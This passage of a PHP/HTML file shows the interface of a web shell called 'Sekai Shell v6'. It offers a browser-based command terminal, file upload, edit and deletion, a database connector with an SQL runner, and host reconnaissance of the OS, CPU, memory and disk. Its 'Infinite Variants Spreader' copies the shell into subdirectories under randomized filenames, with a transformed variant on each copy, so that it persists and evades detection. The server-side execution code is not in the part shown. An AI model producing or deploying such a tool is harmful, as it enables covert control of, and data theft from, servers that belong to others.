                if (output) output.scrollTop = output.scrollHeight;
            } catch (error) {
                container.innerHTML = `<span style="color: var(--accent-red);">Error: ${escapeHtml(error.message)}</span>`;
            }
        }
        
        function clearTerminal() {
            const output = document.getElementById('terminal-output');
            if (output) {
                output.innerHTML = '';
            }
        }
        
        function toggleTerminalFullscreen() {
            const terminal = document.getElementById('terminal-container');
            if (terminal) {
                terminal.classList.toggle('fullscreen');
            }
        }
        
        function escapeHtml(text) {
            const div = document.createElement('div');
            div.textContent = text;
            return div.innerHTML;
        }
        
        // Terminal input event listeners
        document.addEventListener('DOMContentLoaded', function() {
            const input = document.getElementById('terminal-input');
            const output = document.getElementById('terminal-output');
            const tabButtons = document.querySelectorAll('.nav-tab');
            const tabPanels = document.querySelectorAll('.tab-content');
            const bodyActiveTab = document.body.dataset.activeTab || 'terminal';

            function activateTab(tabName) {
                tabButtons.forEach(function(tabButton) {
                    tabButton.classList.toggle('active', tabButton.dataset.tab === tabName);
                });
                tabPanels.forEach(function(panel) {
                    panel.classList.toggle('active', panel.id === tabName);
                });
                try {
                    localStorage.setItem('sekai-active-tab', tabName);
                } catch (e) {}
                if (tabName === 'terminal' && input) {
                    setTimeout(function() {
                        input.focus();
                    }, 100);
                }
            }

            tabButtons.forEach(function(tabButton) {
                tabButton.addEventListener('click', function() {
                    activateTab(tabButton.dataset.tab);
                });
            });

            let initialTab = bodyActiveTab;
            try {
                if (bodyActiveTab === 'terminal') {
                    const savedTab = localStorage.getItem('sekai-active-tab');
                    if (savedTab && document.getElementById(savedTab)) {
                        initialTab = savedTab;
                    }
                }
            } catch (e) {}
            activateTab(initialTab);
            
            if (input) {
                // Enter key to execute
                input.addEventListener('keypress', function(e) {
                    if (e.key === 'Enter') {
                        executeCommand();
                    }
                });
                
                // Ctrl+Enter to execute
                input.addEventListener('keydown', function(e) {
                    if (e.ctrlKey && e.key === 'Enter') {
                        e.preventDefault();
                        executeCommand();
                    }
                });
                
                // Arrow keys for history
                input.addEventListener('keydown', function(e) {
                    if (e.key === 'ArrowUp') {
                        e.preventDefault();
                        if (historyIndex > 0) {
                            if (historyIndex === terminalHistory.length) {
                                currentCommand = input.value;
                            }
                            historyIndex--;
                            input.value = terminalHistory[historyIndex];
                        }
                    } else if (e.key === 'ArrowDown') {
                        e.preventDefault();
                        if (historyIndex < terminalHistory.length - 1) {
                            historyIndex++;
                            input.value = terminalHistory[historyIndex];
                        } else if (historyIndex === terminalHistory.length - 1) {
                            historyIndex = terminalHistory.length;
                            input.value = currentCommand;
                        }
                    }
                });
                
                if (initialTab === 'terminal') {
                    input.focus();
                }
            }
        });
    </script>
    <meta http-equiv="Cache-Control" content="no-cache, no-store, must-revalidate">
    <meta http-equiv="Pragma" content="no-cache">
    <meta http-equiv="Expires" content="0">
</head>
<body data-active-tab="<?php echo htmlspecialchars($active_tab); ?>">
<div class="container">
    <div class="header fade-in">
        <h1><i class="fas fa-terminal"></i> Sekai Shell v6</h1>
        <div class="header-stats">
            <div class="stat-card">
                <div class="stat-label">Current Directory</div>
                <div class="stat-value"><?php echo htmlspecialchars(basename($cwd)); ?></div>
            </div>
            <div class="stat-card">
                <div class="stat-label">Shell File</div>
                <div class="stat-value"><?php echo htmlspecialchars(basename($self_path)); ?></div>
            </div>
            <div class="stat-card">
                <div class="stat-label">PHP Version</div>
                <div class="stat-value"><?php echo phpversion(); ?></div>
            </div>
            <div class="stat-card">
                <div class="stat-label">Server</div>
                <div class="stat-value"><?php echo htmlspecialchars($_SERVER['SERVER_SOFTWARE'] ?? 'Unknown'); ?></div>
            </div>
            <div class="stat-card">
                <div class="stat-label">Operating System</div>
                <div class="stat-value"><?php echo htmlspecialchars($server_os['family']); ?></div>
                <div class="stat-subvalue"><?php echo htmlspecialchars($server_os['name'] . ' ' . $server_os['release'] . ' [' . $server_os['machine'] . ']'); ?></div>
            </div>
            <div class="stat-card">
                <div class="stat-label">Processor</div>
                <div class="stat-value" title="<?php echo htmlspecialchars($cpu_info['model']); ?>"><?php echo htmlspecialchars($cpu_info['model']); ?></div>
                <div class="stat-subvalue">
                    <?php echo $cpu_info['cores'] !== null ? 'Cores: ' . (int)$cpu_info['cores'] : 'Cores: Unknown'; ?>
                    <?php echo $cpu_info['load'] !== null ? ' | Load: ' . htmlspecialchars($cpu_info['load']) : ''; ?>
                </div>
            </div>
            <div class="stat-card">
                <div class="stat-label">RAM Usage</div>
                <div class="stat-value">
                    <?php echo $memory_info['used'] !== null ? htmlspecialchars(format_bytes_php($memory_info['used']) . ' / ' . format_bytes_php($memory_info['total'])) : 'Unknown'; ?>
                </div>
                <div class="stat-subvalue">
                    <?php echo $memory_info['available'] !== null ? 'Available: ' . htmlspecialchars(format_bytes_php($memory_info['available'])) : 'Available: Unknown'; ?>
                    <?php echo $memory_info['percent'] !== null ? ' | Used: ' . htmlspecialchars(number_format($memory_info['percent'], 1)) . '%' : ''; ?>
                </div>
                <?php if ($memory_info['percent'] !== null): ?>
                    <div class="usage-bar"><div class="usage-fill <?php echo $memory_info['percent'] >= 85 ? 'warn' : ''; ?>" style="width: <?php echo min(100, max(0, $memory_info['percent'])); ?>%;"></div></div>
                <?php endif; ?>
            </div>
            <div class="stat-card">
                <div class="stat-label">Storage Usage</div>
                <div class="stat-value">
                    <?php echo $storage_info['used'] !== null ? htmlspecialchars(format_bytes_php($storage_info['used']) . ' / ' . format_bytes_php($storage_info['total'])) : 'Unknown'; ?>
                </div>
                <div class="stat-subvalue">
                    <?php echo $storage_info['free'] !== null ? 'Free: ' . htmlspecialchars(format_bytes_php($storage_info['free'])) : 'Free: Unknown'; ?>
                    <?php echo $storage_info['percent'] !== null ? ' | Used: ' . htmlspecialchars(number_format($storage_info['percent'], 1)) . '%' : ''; ?>
                </div>
                <?php if ($storage_info['percent'] !== null): ?>
                    <div class="usage-bar"><div class="usage-fill <?php echo $storage_info['percent'] >= 85 ? 'warn' : ''; ?>" style="width: <?php echo min(100, max(0, $storage_info['percent'])); ?>%;"></div></div>
                <?php endif; ?>
            </div>
        </div>
        <div class="breadcrumbs"><?php echo $breadcrumbs_html; ?></div>
        <?php if (isset($cd_error)) echo "<p class='error'>$cd_error</p>"; ?>
        <?php echo $action_result; ?>
    </div>

    <div class="nav-tabs">
        <div class="nav-tab <?php echo $active_tab === 'terminal' ? 'active' : ''; ?>" data-tab="terminal">
            <i class="fas fa-terminal"></i> Terminal
        </div>
        <div class="nav-tab <?php echo $active_tab === 'files' ? 'active' : ''; ?>" data-tab="files">
            <i class="fas fa-folder"></i> File Manager
        </div>
        <div class="nav-tab <?php echo $active_tab === 'database' ? 'active' : ''; ?>" data-tab="database">
            <i class="fas fa-database"></i> Database
        </div>
        <div class="nav-tab <?php echo $active_tab === 'tools' ? 'active' : ''; ?>" data-tab="tools">
            <i class="fas fa-tools"></i> Tools
        </div>
    </div>

    <div id="terminal" class="tab-content <?php echo $active_tab === 'terminal' ? 'active' : ''; ?>">
        <div class="box">
            <h3><i class="fas fa-code"></i> Advanced Terminal</h3>
            <div class="terminal" id="terminal-container">
                <div class="terminal-output" id="terminal-output"></div>
                <div style="display: flex; align-items: center;">
                    <span class="terminal-prompt">$ </span>
                    <input type="text" class="terminal-input" id="terminal-input" placeholder="Enter command..." autocomplete="off">
                </div>
            </div>
            <div style="margin-top: 15px; display: flex; gap: 10px; align-items: center;">
                <button onclick="executeCommand()" class="tooltip" data-tooltip="Execute command (Ctrl+Enter)">
                    <i class="fas fa-play"></i> Execute
                </button>
                <label class="tooltip" data-tooltip="Real-time streaming output">
                    <input type="checkbox" id="realtime-terminal"> Real-time
                </label>
                <button onclick="clearTerminal()" class="secondary">
                    <i class="fas fa-trash"></i> Clear
                </button>
                <button onclick="toggleTerminalFullscreen()" class="secondary">
                    <i class="fas fa-expand"></i> Fullscreen
                </button>
            </div>
        </div>
    </div>

    <div id="files" class="tab-content <?php echo $active_tab === 'files' ? 'active' : ''; ?>">
        <div class="panel-grid">
            <div class="box">
                <h3><i class="fas fa-folder"></i> File Manager</h3>
                <p class="section-note">Browse, open, download, and clean up files from the current working directory.</p>
                <form method="post" onsubmit="return confirm('Are you sure you want to delete selected items?');">
                    <div class="table-container">
                        <table id="file_table" class="modern-table">
                            <thead>
                                <tr>
                                    <th class="sel-col"><input type="checkbox" id="sel_all"></th>
                                    <th>Name</th>
                                    <th>Size</th>
                                    <th>Modified</th>
                                    <th>Permissions</th>
                                    <th>Actions</th>
                                </tr>
                            </thead>
                            <tbody>
                                <?php foreach ($files as $file): ?>
                                    <?php if ($file == '.' || $file == '..') continue; ?>
                                    <?php $full = $cwd . DIRECTORY_SEPARATOR . $file; ?>
                                    <?php $is_dir = is_dir($full); ?>
                                    <?php $fileperms = substr(sprintf('%o', fileperms($full)), -4); ?>
                                    <?php $filemtime = date('Y-m-d H:i', filemtime($full)); ?>
                                    <tr class="file-row" data-filename="<?php echo htmlspecialchars($file); ?>">
                                        <td class="sel-col"><input type="checkbox" name="sel[]" value="<?php echo htmlspecialchars($file); ?>"></td>
                                        <td class="name-cell">
                                            <span class="file-icon"><?php echo $is_dir ? "📁" : "📄"; ?></span>
                                            <span class="filename" title="<?php echo htmlspecialchars($file); ?>"><?php echo htmlspecialchars($file); ?></span>
                                        </td>
                                        <td class="size-cell"><?php echo $is_dir ? '&lt;DIR&gt;' : filesize($full) . ' Bytes'; ?></td>
                                        <td class="date-cell"><?php echo $filemtime; ?></td>
                                        <td class="perms-cell"><code><?php echo $fileperms; ?></code></td>
                                        <td class="actions">
                                            <?php if (!$is_dir): ?>
                                                <a href="?view=<?php echo urlencode($file); ?>" class="btn-action" title="View file">
                                                    <i class="fas fa-eye"></i>
                                                </a>
                                                <a href="?edit=<?php echo urlencode($file); ?>" class="btn-action" title="Edit file">
                                                    <i class="fas fa-edit"></i>
                                                </a>
                                                <a href="?download=<?php echo urlencode($file); ?>" class="btn-action" title="Download file">
                                                    <i class="fas fa-download"></i>
                                                </a>
                                                <a href="?delete=<?php echo urlencode($file); ?>" class="btn-action delete-action" title="Delete file" onclick="return confirm('Delete this file?')">
                                                    <i class="fas fa-trash"></i>
                                                </a>
                                            <?php else: ?>
                                                <a href="#" onclick="changeDirectory('<?php echo htmlspecialchars(js_escape($file)); ?>'); return false;" class="btn-action" title="Open folder">
                                                    <i class="fas fa-folder-open"></i>
                                                </a>
                                            <?php endif; ?>
                                        </td>
                                    </tr>
                                <?php endforeach; ?>
                            </tbody>
                        </table>
                    </div>
                    <div class="inline-actions" style="margin-top: 15px;">
                        <button type="submit" name="bulk_delete" class="btn-danger">
                            <i class="fas fa-trash"></i> Delete Selected
                        </button>
                        <span id="selected-count" style="color: var(--text-secondary);">0 items selected</span>
                    </div>
                </form>
            </div>

            <div class="stack-sm">
                <div class="box">
                    <h3><i class="fas fa-wand-magic-sparkles"></i> File Actions</h3>
                    <p class="section-note">Create new files, upload directly, or refresh the current listing.</p>
                    <div class="action-grid">
                        <form method="post" class="stack-sm">
                            <label for="new_file_name">Create File</label>
                            <input id="new_file_name" type="text" name="new_file_name" placeholder="New file name..." required>
                            <button type="submit" name="new_file_create" class="btn-primary">
                                <i class="fas fa-plus"></i> Create & Edit
                            </button>
                        </form>
                        <form method="post" enctype="multipart/form-data" class="stack-sm">
                            <?php if ($effective_upload_bytes > 0): ?>
                                <input type="hidden" name="MAX_FILE_SIZE" value="<?php echo (int)$effective_upload_bytes; ?>">
                            <?php endif; ?>
                            <label for="upload_input">Upload File</label>
                            <input type="file" id="upload_input" name="upload" required>
                            <input type="text" id="upload_name" name="upload_name" placeholder="File name (optional)">
                            <button type="submit">
                                <i class="fas fa-upload"></i> Upload
                            </button>
                        </form>
                    </div>
                    <div class="inline-actions" style="margin-top: 15px;">
                        <button type="button" onclick="refreshFileManager()" class="secondary">
                            <i class="fas fa-sync"></i> Refresh
                        </button>
                    </div>
                    <p style="margin-top:8px;color:#cfcfcf;">Limits: upload_max_filesize <?php echo htmlspecialchars($max_upload); ?>, post_max_size <?php echo htmlspecialchars($max_post); ?></p>
                </div>
            </div>
        </div>

        <div class="box">
            <h3><i class="fas fa-edit"></i> File Editor</h3>
            <p class="section-note">Open a file from the table to view or edit it here.</p>
            <?php echo $editor_html !== '' ? $editor_html : "<p>Select a file to view or edit.</p>"; ?>
        </div>
    </div>
    <div id="database" class="tab-content <?php echo $active_tab === 'database' ? 'active' : ''; ?>">
        <div class="box">
            <h3><i class="fas fa-database"></i> Database Manager</h3>
            <?php echo $db_msg; ?>
            <?php if (!$db_connected): ?>
                <form method="post" class="db-form">
                    <div class="db-form-grid">
                        <div>
                            <label>Driver</label>
                            <select name="db_driver">
                                <option value="mysql">MySQL</option>
                                <option value="pgsql">PostgreSQL</option>
                            </select>
                        </div>
                        <div>
                            <label>Host</label>
                            <input type="text" name="db_host" value="127.0.0.1" placeholder="Host">
                        </div>
                        <div>
                            <label>Port</label>
                            <input type="text" name="db_port" value="" placeholder="3306/5432">
                        </div>
                        <div>
                            <label>Database</label>
                            <input type="text" name="db_name" value="" placeholder="Database name">
                        </div>
                        <div>
                            <label>User</label>
                            <input type="text" name="db_user" value="" placeholder="User">
                        </div>
                        <div>
                            <label>Password</label>
                            <input type="password" name="db_pass" value="" placeholder="Password">
                        </div>
                    </div>
                    <div style="margin-top:10px;display:flex;gap:8px;align-items:center;">
                        <input type="submit" name="db_connect" value="Test & Connect">
                        <a href="adminer-5.4.2.php" target="_blank">Open Adminer</a>
                    </div>
                </form>
            <?php else: ?>
                <form method="post" style="margin-bottom:12px;">
                    <input type="submit" name="db_disconnect" value="Disconnect">
                    <a href="adminer-5.4.2.php" target="_blank" style="margin-left:8px;">Open Adminer</a>
                </form>
                <div class="db-grid">
                    <div>
                        <h4>Tables</h4>
                        <div style="margin-bottom:8px;display:flex;gap:8px;align-items:center;">
                            <input id="db_filter" type="text" placeholder="Filter tables...">
                            <form method="get" style="display:flex;gap:6px;align-items:center;margin:0;">
                                <label>Limit</label>
                                <input type="number" name="db_limit" min="1" max="1000" value="<?php echo isset($_GET['db_limit']) ? intval($_GET['db_limit']) : 50; ?>" style="width:90px;">
                                <input type="hidden" name="tab" value="database">
                                <input type="submit" value="Set">
                            </form>
                        </div>
                        <div class="table-scroll">
                            <table id="db_table_list">
                                <tr><th>Table</th><th>Action</th></tr>
                                <?php foreach ($db_tables as $t): ?>
                                    <tr>
                                        <td><?php echo htmlspecialchars($t); ?></td>
                                        <td><a href="?db_table=<?php echo urlencode($t); ?>&db_limit=<?php echo isset($_GET['db_limit']) ? intval($_GET['db_limit']) : 50; ?>">Browse</a></td>
                                    </tr>
                                <?php endforeach; ?>
                            </table>
                        </div>
                    </div>
                    <div>
                        <h4>SQL Runner</h4>
                        <form method="post">
                            <textarea name="db_sql" rows="8" placeholder="Write SQL here"></textarea>
                            <div style="margin-top:8px;">
                                <input type="submit" name="db_run_sql" value="Run">
                            </div>
                        </form>
                    </div>
                </div>
                <?php echo $db_result_html; ?>
            <?php endif; ?>
            <p style="margin-top:8px;color:#cfcfcf;">Use your own credentials to connect. Open Adminer for full management.</p>
        </div>
    </div>

    <div id="tools" class="tab-content <?php echo $active_tab === 'tools' ? 'active' : ''; ?>">
        <div class="box">
            <h3><i class="fas fa-tools"></i> System Tools</h3>
            <p class="section-note">Use this tab for navigation, host diagnostics, and maintenance actions. Command execution stays in the Terminal tab to avoid duplicate controls.</p>
            <div class="panel-grid">
                <div class="stack-sm">
                    <div class="box">
                        <h3><i class="fas fa-folder-open"></i> Change Directory</h3>
                        <form method="get" class="stack-sm">
                            <input type="hidden" name="pass" value="<?php echo htmlspecialchars($_SESSION['pass']); ?>">
                            <input type="hidden" name="tab" value="tools">
                            <input type="text" name="cd" placeholder="Enter path (absolute or relative)" list="paths_datalist">
                            <datalist id="paths_datalist"><?php echo $dir_datalist; ?></datalist>
                            <button type="submit">Go</button>
                        </form>
                    </div>

                    <div class="box">
                        <h3><i class="fas fa-link"></i> Quick Links</h3>
                        <div class="quick-links">
                            <a class="quick-link-pill" href="?tab=tools">Refresh</a>
                            <a class="quick-link-pill" href="#" onclick="changeDirectory('..'); return false;">Parent Directory</a>
                            <a class="quick-link-pill" href="#" onclick="changeDirectory('<?php echo htmlspecialchars(js_escape($_SERVER['DOCUMENT_ROOT'])); ?>'); return false;">Document Root</a>
                        </div>
                    </div>
                </div>

                <div class="stack-sm">
                    <div class="box">
                        <h3><i class="fas fa-random"></i> Infinite Variants Spreader</h3>
                        <p class="section-note">Copy this shell into child directories using randomized filenames and transformed variants.</p>
                        <ul>
                            <li>Random filename generation</li>
                            <li>Unique code variant on each copy</li>
                            <li>Optional recursive spread</li>
                        </ul>
                        <form method="post" class="stack-sm">
                            <input type="hidden" name="spread" value="1">
                            <label>
                                <input type="checkbox" name="recursive" value="1"> Recursive (include sub-subdirectories)
                            </label>
                            <button type="submit">Spread Now</button>
                        </form>
                    </div>
                </div>
            </div>
        </div>

        <div class="box">
            <h3><i class="fas fa-microchip"></i> Server Insights</h3>
            <p class="section-note">Detailed host information for the current server and working path.</p>
            <div class="insights-grid">
                <div class="stat-card">
                    <div class="stat-label">OS Detection</div>
                    <div class="stat-value"><?php echo htmlspecialchars($server_os['family']); ?></div>
                    <div class="stat-subvalue"><?php echo htmlspecialchars(php_uname()); ?></div>
                </div>
                <div class="stat-card">
                    <div class="stat-label">Processor Details</div>
                    <div class="stat-value" title="<?php echo htmlspecialchars($cpu_info['model']); ?>"><?php echo htmlspecialchars($cpu_info['model']); ?></div>
                    <div class="stat-subvalue">
                        <?php echo $cpu_info['cores'] !== null ? 'Logical cores: ' . (int)$cpu_info['cores'] : 'Logical cores: Unknown'; ?>
                        <?php echo $cpu_info['load'] !== null ? ' | Load avg: ' . htmlspecialchars($cpu_info['load']) : ''; ?>
                    </div>
                </div>
                <div class="stat-card">
                    <div class="stat-label">Memory Details</div>
                    <div class="stat-value"><?php echo $memory_info['total'] !== null ? htmlspecialchars(format_bytes_php($memory_info['total'])) : 'Unknown'; ?></div>
                    <div class="stat-subvalue">
                        <?php echo $memory_info['used'] !== null ? 'Used: ' . htmlspecialchars(format_bytes_php($memory_info['used'])) : 'Used: Unknown'; ?>
                        <?php echo $memory_info['available'] !== null ? ' | Free: ' . htmlspecialchars(format_bytes_php($memory_info['available'])) : ''; ?>
                    </div>
                </div>
                <div class="stat-card">
                    <div class="stat-label">Disk Details</div>
                    <div class="stat-value"><?php echo $storage_info['total'] !== null ? htmlspecialchars(format_bytes_php($storage_info['total'])) : 'Unknown'; ?></div>
                    <div class="stat-subvalue">
                        <?php echo 'Path: ' . htmlspecialchars($storage_info['path']); ?>
                        <?php echo $storage_info['free'] !== null ? ' | Free: ' . htmlspecialchars(format_bytes_php($storage_info['free'])) : ''; ?>
                    </div>
                </div>
            </div>
        </div>
    </div>
<script>
(function(){
  var f = document.getElementById('db_filter');
  if (f) {
    f.addEventListener('input', function(){
      var val = f.value.toLowerCase();
      var table = document.getElementById('db_table_list');
      if (!table) return;
      var rows = table.getElementsByTagName('tr');
      for (var i=1;i<rows.length;i++){
        var cell = rows[i].getElementsByTagName('td')[0];
        if (!cell) continue;
        var name = cell.textContent.toLowerCase();
        rows[i].style.display = name.indexOf(val) !== -1 ? '' : 'none';
      }
    });
  }
  var ui = document.getElementById('upload_input');
  var un = document.getElementById('upload_name');
  if (ui && un) {
    ui.addEventListener('change', function(){
      var v = ui.value.split(/[/\\]/).pop();
      if (un.value.trim() === '') { un.value = v; }
    });
  }
})();
</script>
</body>
</html>
